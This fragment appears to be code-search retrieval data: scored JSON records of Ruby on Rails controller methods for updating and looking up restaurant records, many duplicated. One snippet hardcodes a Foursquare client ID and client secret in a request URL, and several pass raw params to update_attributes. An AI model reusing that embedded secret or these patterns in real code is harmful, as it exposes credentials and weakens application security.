"text": "def update\n if @restaurant.update(restaurant_params)\n render json: {success: true, restaurant: @restaurant} \n else\n render json: {success: false, errors: @restaurant.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fb40a4fc754d488e3640af33b6d4a06d",
"score": "0.6610468",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb40a4fc754d488e3640af33b6d4a06d",
"score": "0.6610468",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb40a4fc754d488e3640af33b6d4a06d",
"score": "0.6610468",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb40a4fc754d488e3640af33b6d4a06d",
"score": "0.6610468",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "571467479c0002064b57fed807fbcfc9",
"score": "0.6576204",
"text": "def update\n if @restaurant.update(restaurant_params.except(:local_id))\n render :show, status: :ok, location: @restaurant\n else\n render json: @restaurant.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "20b092604c934b07ad231f5221751c75",
"score": "0.65444547",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to(@restaurant, :notice => 'Restaurant was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => { :status => :ok }.to_json }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @restaurant.errors, :status => :unprocessable_entity }\n format.json { fail }\n end\n end\n end",
"title": ""
},
{
"docid": "d5153280327ecc57773a2b387826b44e",
"score": "0.6535978",
"text": "def update\n if @restaurant.update(restaurant_params)\n @restaurants = Restaurant.all\n else\n render 'update_error'\n end\n end",
"title": ""
},
{
"docid": "82d576b0e8c9409ec7f4a559276b8476",
"score": "0.65320945",
"text": "def update\n \t@restaurant = Restaurant.find(params[:id])\n\n \trespond_to do |format|\n \t\tif @restaurant.update_attributes(params[:restaurant])\n \t\t\tformat.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n \t\t\tformat.json { head :ok }\n \t\telse\n \t\t\tformat.html { render action: \"edit\" }\n \t\t\tformat.json { render json: @restaurant.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n end",
"title": ""
},
{
"docid": "4fc1bef38f2919cd708aaa93b7112383",
"score": "0.652328",
"text": "def update\r\n @restaurant = Restaurant.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @restaurant.update_attributes(params[:restaurant])\r\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "390ea211d2cb45b97c4907c6ab7a3ee8",
"score": "0.6459057",
"text": "def update\n #Update my restaurant\n @restaurant = Restaurant.find(params[:id])\n @restaurant.update(restaurant_params)\n redirect_to restaurants_path\n end",
"title": ""
},
{
"docid": "3b8f529b19d3e7bd6af1ec411d762501",
"score": "0.64206225",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to user_restaurant_url(current_user), notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce6ede175899f0bb439fe1cd196f870f",
"score": "0.6417137",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce6ede175899f0bb439fe1cd196f870f",
"score": "0.6417137",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce6ede175899f0bb439fe1cd196f870f",
"score": "0.6417137",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ce28cbcd10d5380bf53f232e3bda086",
"score": "0.6398985",
"text": "def update_restaurant(restaurant)\n restaurant.name = params[:name] || restaurant.name\n restaurant.description = params[:description] || restaurant.description\n restaurant.address.address_1 = params[:address_1] || restaurant.address.address_1\n restaurant.address.address_2 = params[:address_2] || restaurant.address.address_2\n restaurant.address.city = params[:city] || restaurant.address.city\n restaurant.address.county = params[:county] || restaurant.address.county\n restaurant.address.state = params[:state] || restaurant.address.state\n restaurant.avatar = params[:avatar] || restaurant.avatar\n restaurant.category = params[:category] || restaurant.category\n restaurant.address.country = params[:country] || restaurant.address.country\n restaurant.location.latitude = params[:latitude] || restaurant.location.latitude if restaurant.location\n restaurant.location.longitude = params[:longitude] || restaurant.location.longitude if restaurant.location\n restaurant.address.save!\n restaurant.location.save! if restaurant.location\n restaurant.save!\n restaurant\n end",
"title": ""
},
{
"docid": "b2ce8df05d074e78eca2392c1b191d67",
"score": "0.63684773",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b2ce8df05d074e78eca2392c1b191d67",
"score": "0.63684773",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9726734a37773b743a839a23e45653c8",
"score": "0.63538617",
"text": "def edit\n id = params[:id]\n @restaurant = Restaurant.find_by_id(id)\n if @restaurant.nil?\n raise ActionController::RoutingError.new('No such restaurant')\n end\n @foods = Food.where(\"restaurant_id = ?\", id)\n\n end",
"title": ""
},
{
"docid": "01649971a793d2706e81fd80e0f6bdf3",
"score": "0.6283929",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "01649971a793d2706e81fd80e0f6bdf3",
"score": "0.6283929",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "01649971a793d2706e81fd80e0f6bdf3",
"score": "0.6283929",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "01649971a793d2706e81fd80e0f6bdf3",
"score": "0.6283929",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "01649971a793d2706e81fd80e0f6bdf3",
"score": "0.6283929",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "d644a5c70b6b50598133b96e87b4c1ee",
"score": "0.6281128",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "f9340b9908e6a1de74802a620112d77e",
"score": "0.6274074",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params.require(:id))\n end",
"title": ""
},
{
"docid": "8e230d782da786351d4a47fdf999f849",
"score": "0.6264906",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html {redirect_to @restaurant, notice: 'Restaurant was successfully updated.'}\n format.json {render :show, status: :ok, location: @restaurant}\n else\n format.html {render :edit}\n format.json {render json: @restaurant.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "148e6a89fc298dbea6475e1f1a7da73e",
"score": "0.6257703",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:restaurant_id])\n end",
"title": ""
},
{
"docid": "148e6a89fc298dbea6475e1f1a7da73e",
"score": "0.6257703",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:restaurant_id])\n end",
"title": ""
},
{
"docid": "148e6a89fc298dbea6475e1f1a7da73e",
"score": "0.6257703",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:restaurant_id])\n end",
"title": ""
},
{
"docid": "dba1a3ea9ea635f2f84d1b1cab1206a5",
"score": "0.6247193",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: \"Restaurant was successfully updated.\" }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c35cc430fd53e7777f54757866359609",
"score": "0.6240649",
"text": "def update\n respond_to do |format|\n if @admin_restaurant.update(admin_restaurant_params)\n format.html { redirect_to @admin_restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_restaurant }\n else\n format.html { render :edit }\n format.json { render json: @admin_restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e361f974c692df8637e6cc5bd58c59c9",
"score": "0.6237124",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "632017538e25e855f1a35928d2af0869",
"score": "0.62331206",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:restaurant_id] || params[:id])\n end",
"title": ""
},
{
"docid": "255f89d063434495a91cf15082ef28d9",
"score": "0.6232264",
"text": "def update\n @get_restaurant_list = GetRestaurantList.find(params[:id])\n\n if @get_restaurant_list.update(params[:get_restaurant_list])\n head :no_content\n else\n render json: @get_restaurant_list.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a943c3d1dcda754bc74e2cd478d5b504",
"score": "0.6224444",
"text": "def set_restaurant\n @restaurant = Restaurant.find_by(uuid: params[:id])\n end",
"title": ""
},
{
"docid": "9d126e66a69cde9fed21714a77446271",
"score": "0.6221142",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to(@restaurant, :notice => 'Restaurant was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "cf4f20d3d446f378df18b5970567a04d",
"score": "0.6160961",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "ce1a14101270214ac29139dda1f6e46a",
"score": "0.61604303",
"text": "def update\n respond_to do |format|\n if @favorite_restaurant.update(favorite_restaurant_params)\n format.html { redirect_to @favorite_restaurant, notice: 'Favorite restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_restaurant }\n else\n format.html { render :edit }\n format.json { render json: @favorite_restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "761c319456241d599c60d668fa2d6731",
"score": "0.6159289",
"text": "def update\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant }\n else\n format.html { redirect_to restaurants_url, notice: 'There was an error processing your vote' }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "855f81d29ee8ff100cfefb3479cedcdd",
"score": "0.6146796",
"text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"title": ""
},
{
"docid": "1f8edc297efa4a11314148516cee07f1",
"score": "0.6143597",
"text": "def update\n json_response(@food_item.update!(food_item_params))\n end",
"title": ""
},
{
"docid": "7f1cf963716f084564fd340e0791f458",
"score": "0.6136903",
"text": "def update\n respond_to do |format|\n if @order_restaurant.update(order_restaurant_params)\n format.html { redirect_to @order_restaurant, notice: 'Order restaurant was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_restaurant }\n else\n format.html { render :edit }\n format.json { render json: @order_restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9fdd67166b464b2ddfafcd42f401b01a",
"score": "0.6127982",
"text": "def update\n\t\t@restaurant = Restaurant.find(params[:id])\n\t\tif params[:foursquare_id] != \"\"\n\t\t\thttpbot = HTTPClient.new\n\t\t\thttp = httpbot.get(\"https://api.foursquare.com/v2/venues/#{restaurant_params[:foursquare_id]}?client_id=JKIGWG2CJUOHAJ1BHL11YFIGVD3MLQW2WGNEK35EZLWAWHGM\n&client_secret=ZNW4OWFODXJ50MBN1SPEKUODXMKWCH5DIWBCM3RMXNXYOCBS&v=20140806\")\n\t\t\tdata = JSON.parse(http.content)\n\t\t\trestaurant_params_with_4sq = {\n\t\t\t\tname: data[\"response\"][\"venue\"][\"name\"],\n\t\t\t\tcapacity: restaurant_params[:capacity],\n\t\t\t\tfoursquare_id: restaurant_params[:foursquare_id],\n\t\t\t\taddress_line_1: data[\"response\"][\"venue\"][\"location\"][\"address\"],\n\t\t\t\tcity: data[\"response\"][\"venue\"][\"location\"][\"city\"],\n\t\t\t\tprovince: data[\"response\"][\"venue\"][\"location\"][\"state\"],\n\t\t\t\tdescription: data[\"response\"][\"venue\"][\"photos\"][\"groups\"][0][\"items\"][0][\"prefix\"] + \"240x240\" + data[\"response\"][\"venue\"][\"photos\"][\"groups\"][0][\"items\"][0][\"suffix\"]\n\t\t\t}\n\t\tend\n\t\t@restaurant.update (restaurant_params_with_4sq)\n\t\tredirect_to action: \"index\"\n\tend",
"title": ""
},
{
"docid": "1167cd27cd1fb43f4943b64e7be17837",
"score": "0.6125624",
"text": "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"title": ""
},
{
"docid": "2bd765f07208cb6bb924f1bf0671620d",
"score": "0.6111951",
"text": "def update\n\n\n if @restaurant.update!(restaurant_params)\n redirect_to @restaurant\n else\n render :edit\n end\n end",
"title": ""
},
{
"docid": "d382246334b1e51f2252347e97adbb11",
"score": "0.6109462",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n restaurantsign_in @restaurant\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c511f937080f3c412a979d5d1a4bc79",
"score": "0.60998094",
"text": "def edit\n @restaurant = Restaurant.find(params[:restaurant_id])\n @food = Food.find(params[:id])\n end",
"title": ""
},
{
"docid": "d3ac0b189ab1d24746b445af030cb276",
"score": "0.60956347",
"text": "def update\n if @restaurant.present?\n if @review.present?\n if @review.update(review_params)\n render_json content: @review\n else\n render_json content: @review.errors\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "b6624e6ac8d6753d112f2f3a3cdd37e2",
"score": "0.6036387",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n temp_restaurant = Restaurant.new(params[:restaurant])\n notice = 'Restaurant was successfully updated.'\n\n if (temp_restaurant.linkedRestaurator != '')\n @restaurant.restaurator_id = temp_restaurant.linkedRestaurator\n else\n notice = 'Vous avez modifie un restaurant sans lui assigner un restaurateur.'\n end\n\n if (current_user.clientType == Client::CLIENT_TYPES[:entrepreneur])\n @restaurant.entrepreneur_id = current_user.id\n end\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n format.html { redirect_to @restaurant, notice: notice }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "145fad47fb775e36b78f83edd73cc343",
"score": "0.6036302",
"text": "def edit\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "145fad47fb775e36b78f83edd73cc343",
"score": "0.6036302",
"text": "def edit\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "145fad47fb775e36b78f83edd73cc343",
"score": "0.6036302",
"text": "def edit\n @restaurant = Restaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "5b5a8a92081c3aca0963dacf2cf28253",
"score": "0.6027895",
"text": "def update\n if @restaurant.update(restaurant_params)\n redirect_to restaurants_path\n else\n render :edit\n end\nend",
"title": ""
},
{
"docid": "4b9be982afa6a8c98d9c7e3e44f3a190",
"score": "0.6002327",
"text": "def set_restaurant\n @restaurant = Restaurant.find_by_local_id!(params[:local_id])\n end",
"title": ""
},
{
"docid": "975741b66f7b28662322495c0ec6a225",
"score": "0.5995932",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n # byebug\n end",
"title": ""
},
{
"docid": "2ed994882d1d1b5a84d197da2608a447",
"score": "0.59793067",
"text": "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"title": ""
},
{
"docid": "4d7396465b7c369b5baed8e7cc6e4aa6",
"score": "0.596585",
"text": "def update\n # @restaurante = Restaurante.find params[:id]\n respond_to do |format|\n if @restaurante.update(restaurante_params)\n format.html { redirect_to @restaurante, notice: 'Restaurante editado com sucesso!.' }\n format.json { render :show, status: :ok, location: @restaurante }\n else\n format.html { render :edit }\n format.json { render json: @restaurante.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "855ba1c03913bd5a45e70aff2aca2271",
"score": "0.59577656",
"text": "def set_restaurant\n @restaurant = Restaurant.new(params[:id])\n end",
"title": ""
},
{
"docid": "a2c6e39b07ea93ffbbac5b51b93e541a",
"score": "0.5948944",
"text": "def update\n @restaurant_table = RestaurantTable.find(params[:id])\n\n respond_to do |format|\n if @restaurant_table.update_attributes(params[:restaurant_table])\n format.html { redirect_to @restaurant_table, notice: 'Restaurant table was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restaurant_table.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c6085c4b853a1b8b8227352218597b45",
"score": "0.5940361",
"text": "def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end",
"title": ""
},
{
"docid": "939213d9663059bf0d64fe1ce04983ed",
"score": "0.59389216",
"text": "def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"title": ""
},
{
"docid": "874aff0ffaf4cc2a6e67de6e5ba95ee1",
"score": "0.5936798",
"text": "def set_restaurant\n @restaurant = Restaurant.find(params[:yelp_id])\n end",
"title": ""
},
{
"docid": "23e20fd6273d94ed57ed80f326f68ca1",
"score": "0.5925563",
"text": "def update\n respond_to do |format|\n \n if !(@restaurant.rest_menufile.nil?)\n upload\n end\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34bdc7e53141cc4c4c495539c4fa39f9",
"score": "0.59245205",
"text": "def set_restaurant\n @restaurant = Restaurant.find_by(yelp_id: params[:yelp_id])\n end",
"title": ""
},
{
"docid": "22a91209b06cfb30597831eeef50f070",
"score": "0.5921811",
"text": "def update\n respond_to do |format|\n if @restaurant_place.update(restaurant_place_params)\n format.html { redirect_to @restaurant_place, notice: 'Restaurant place was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restaurant_place.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3cb554f83299d871c96fcba5c1544ff",
"score": "0.5900203",
"text": "def set_restaurant\n @restaurant = Restaurant.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "f3cb554f83299d871c96fcba5c1544ff",
"score": "0.5900203",
"text": "def set_restaurant\n @restaurant = Restaurant.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "8930be4520afac1e4466f8a18aed35af",
"score": "0.5893216",
"text": "def update\n set_params\n @restaurant = Restaurant.find(params[:id])\n authorize! :update, @restaurant\n if (params[:restaurant][:status] == \"Exclusive\" &&\n @restaurant.owned_by != current_user.id)\n params[:restaurant][:status] = \"Pending Approval\"\n send_request\n @restaurant.mark_pending(current_user.id)\n end\n MenuItem.destroy_all(:restaurant_id => params[:id])\n set_menu_items_and_file\n super\n end",
"title": ""
},
{
"docid": "5f0db062c3adb3e0ba775920d3797f67",
"score": "0.5882873",
"text": "def update(attributes = {})\n # UPDADE\n # TODO: update a specific Restaurant instance\n attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n save\n end",
"title": ""
},
{
"docid": "ddc3dabaac834d6e13990ac52c0f2aa9",
"score": "0.58727455",
"text": "def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"title": ""
},
{
"docid": "560c184b4cd18c03e912773ed04da0d0",
"score": "0.5870488",
"text": "def update\n @restaurant = current_restaurant\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n flash[:notice] = t('restaurants.update.success')\n format.js { } # default update.js.rjs\n else\n# format.html { render :action => \"show\" }\n# format.xml { render :xml => @restaurant.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8089e93ac29e07b23e0c66e026def750",
"score": "0.58668536",
"text": "def update\n # byebug\n respond_to do |format|\n if @restaurant.update(restaurant_params)\n format.html { redirect_to @restaurant, notice: 'Blog was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"title": ""
},
{
"docid": "2a7a7ace11c264d748524dc1f5f12357",
"score": "0.5848512",
"text": "def approve\n order = current_user.restaurant.orders.find(params[:id])\n order.update(status: 1)\n render json: {is_success: true}, status: :ok\n end",
"title": ""
},
{
"docid": "d481b62e08449c0bc4dd09b6c7bcc27c",
"score": "0.58358955",
"text": "def edit\n\t\t@restaurant = Restaurant.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "7cbcb2cda6e100042f124dacd474f3be",
"score": "0.5829809",
"text": "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "72e4689c8f2e9a70b3add755d7924aee",
"score": "0.58283657",
"text": "def create\n @restaurant = Restaurant.new(restaurant_params)\n if @restaurant.save\n render json: {success: true, restaurant: @restaurant} \n else\n render json: {success: false, errors: @restaurant.errors}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "54f95a361000b6219275e377b8bf4555",
"score": "0.58152",
"text": "def update options={}\n client.put(\"/#{id}\", options)\n end",
"title": ""
},
{
"docid": "7cd020db8ef3cfcf12183419184b5ddb",
"score": "0.58026475",
"text": "def set_order_restaurant\n @order_restaurant = OrderRestaurant.find(params[:id])\n end",
"title": ""
},
{
"docid": "49a794e4051a410139bd8db805c216eb",
"score": "0.57983106",
"text": "def set_restaurant_for_create\n @restaurant = Restaurant.find(params[:restaurant][:id])\n end",
"title": ""
},
{
"docid": "f50d8f78e3c6bba477bd09d7d575b4db",
"score": "0.57853854",
"text": "def edit\n \t@restaurant=Restaurant.find params[:id]\n end",
"title": ""
},
{
"docid": "d474b6ea63b1185cfbb77cbc16afa016",
"score": "0.5781568",
"text": "def update\n render json: Location.update(params[\"id\"], params[\"location\"])\n end",
"title": ""
},
{
"docid": "f11376c41497a9edf4173df9b53ae1d1",
"score": "0.57805806",
"text": "def update\n @restaurant = Restaurant.find(params[:id])\n\n loc = MultiGeocoder.geocode(@restaurant.adreca)\n @restaurant.lat = loc.lat\n @restaurant.lng = loc.lng\n\n\n respond_to do |format|\n if @restaurant.update_attributes(params[:restaurant])\n flash[:notice] = 'Restaurant was successfully updated.'\n format.html { redirect_to(@restaurant) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @restaurant.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "382b1b721f9e848e455a4cda7df5167f",
"score": "0.577107",
"text": "def create\n @restaurant = Restaurant.new(params[:restaurant])\n @restaurant.owner_id = current_owner.id\n\n respond_to do |format|\n if @restaurant.save\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully created.' }\n format.json { render json: @restaurant, status: :created, location: @restaurant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85d2ed02d760acd40f7badcfec78a18a",
"score": "0.5750368",
"text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"title": ""
}
] |
a3525df29c433dd9c67f31e8f2bb9865
|
Removes the sprocket with the given name. This is useful if you don't need one of the default Sprockets.
|
[
{
"docid": "8cc24587b9d07a2f8d600f3a4118ac5b",
"score": "0.8973314",
"text": "def remove_sprocket(name)\n if sprocket = get_sprocket(name)\n sprockets.delete sprocket\n set_sprocket(name, nil)\n end\n end",
"title": ""
}
] |
[
{
"docid": "5df025d27724f71cbb728a794e81f1f1",
"score": "0.65452194",
"text": "def remove(name)\n self.delete_if {|w| w.name == name}\n end",
"title": ""
},
{
"docid": "a58e761e5e08921c00869d32ce4226ba",
"score": "0.6445374",
"text": "def remove_pack(name)\n if pack_exist?(name)\n @current_rule_pack = nil if rules_packs[name.to_sym] == @current_rule_pack\n rules_packs.delete(name.to_sym)\n end\n end",
"title": ""
},
{
"docid": "7672a0fd00c0cd17b2b687d0b60106b2",
"score": "0.6281436",
"text": "def remove_pack!(name)\n remove_pack(name) || raise_no_such_pack\n end",
"title": ""
},
{
"docid": "7469f24cad346736a9845034307366e7",
"score": "0.6264132",
"text": "def remove_resource(name)\n # Guard against removing resources added by other modules\n if @my_resources.include?(name)\n @my_resources.delete(name)\n service.remove_resource(name) if service\n end\n end",
"title": ""
},
{
"docid": "1d592c8dbe4bfd4d94688d26af3a1300",
"score": "0.6184003",
